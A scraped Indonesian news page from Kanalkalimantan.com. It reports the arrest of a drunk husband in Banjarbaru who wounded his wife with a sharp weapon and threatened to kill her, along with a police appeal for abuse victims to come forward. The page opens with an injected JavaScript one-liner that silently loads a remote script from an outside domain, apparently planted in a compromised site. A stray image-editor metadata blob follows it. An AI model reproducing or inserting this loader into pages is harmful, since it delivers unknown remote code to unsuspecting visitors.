(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
{"total_effects_actions":0,"total_draw_time":0,"layers_used":0,"effects_tried":0,"total_draw_actions":0,"total_editor_actions":{"border":0,"frame":0,"mask":0,"lensflare":0,"clipart":0,"text":0,"square_fit":1,"shape_mask":0,"callout":0},"effects_applied":0,"uid":"15BBD608-1669-44B1-8BA5-FC0121588C50_1580457386590","width":3464,"photos_added":0,"total_effects_time":0,"tools_used":{"tilt_shift":0,"resize":0,"adjust":0,"curves":0,"motion":0,"perspective":0,"clone":0,"crop":0,"enhance":0,"selection":0,"free_crop":0,"flip_rotate":0,"shape_crop":0,"stretch":0},"remix_data":[],"source_sid":"15BBD608-1669-44B1-8BA5-FC0121588C50_1580457386599","origin":"gallery","height":2309,"subsource":"done_button","total_editor_time":13,"brushes_used":0}
KANALKALIMANTAN.COM, BANJARBARU – Istri yang seharusnya dilindungi dan disayangi, justru malah dijadikan pelampiasan emosi oleh suami sendiri. Kasus penganiayaan berat ini berhasil diungkap Polsek Banjarbaru Kota setelah menerima laporan dari korban pada Rabu (29/1/2020) kemarin.
Berdasarkan laporan tersebut, Unit Buser yang didimpin Panit II Reskrim Polsek Banjarbaru Kota Aiptu Nanang Gonjeng berhasil membekuk pelaku pada malam harinya, sekitar pukul 23.00 di jalan A Yani Km 34 -depan Pegadaian Banjarbaru-. Saat ditangkap pelaku mengakui telah menganiaya istrinya.
Dalam hal ini pihak kepolisian mengamankan pelaku serta satu bilah senjata tajam yang di gunakan pelaku untuk menganiaya dan mengancam istrinya sendiri.
Kanit Reskrim Polsek Banjarbaru Kota, AKP Yuli Tetro, menceritakan penganiayaan IMI terjadi di rumah kediaman pasangan suami istri ini di Gang Keluarga RT 02, Kelurahan Loktabat Selatan, Banjarbaru.
Berawal dari suami yang saat itu sedang dalam keadaan mabuk, mengetuk pintu sambil berteriak-teriak.
“Karena tingkah suami itu, sang istri mengingatkan agar jangan teriak. Tapi pelaku malah marah dan menganiaya korban hingga terluka dan mengancam akan membunuhnya,†kata AKP Yuli Tetro.
Lantaran merasa terancam, sang istri kemudian melarikan diri dan melaporkan kejadian ini ke Polsek Banjarbaru Kota. Sementara itu, Kapolsek Banjarbaru Kota Kompol Purbo Raharjo melalui Kasi Humas AIPDA Ahmad Supriyanto SH mengimbau kepada setiap keluarga apabila memiliki masalah jangan menyelesaikan menggunakan kekerasan apalagi hingga mengakibatkan terluka.
“Selesaikan secara kepala dingin dan jangan takut untuk para istri apabila sering dianiaya suami untuk melaporkan ke pihak berwajib,†ucap Supri.(Kanalkalimantan.com/Rico)
KANALKALIMANTAN.COM, BANJARMASIN – Mengawali pergantian tahun, Kota Banjarmasin diguyur hujan dari pagi hingga petang, Kamis… Read More
KANALKALIMANTAN.COM, BATULICIN - Meski tanpa pertunjukan pesta kembang api, malam pergantian tahun 2025 ke 2026… Read More
KANALKALIMANTAN.COM, BANJARBARU – Pemerintah Kota (Pemko) Banjarbaru mengumumkan Upah Minimum Kota (UMK) berdasarkan Keputusan Gubernur… Read More
KANALKALIMANTAN.COM, AMUNTAI – Bupati Hulu Sungai Utara (HSU) H Sahrujani mengharapkan agar Kabupaten HSU pada… Read More
KANALKALIMANTAN.COM, PALANGKARAYA - Persatuan Wartawan Indonesia (PWI) Provinsi Kalimantan Tengah menggelar Konferensi Kerja Daerah (Konferda)… Read More
KANALKALIMANTAN. COM, PONTIANAK - PT PLN (Persero) Unit Pelaksana Pengatur Beban (UP2B) Kalimantan Barat memastikan… Read More
This website uses cookies.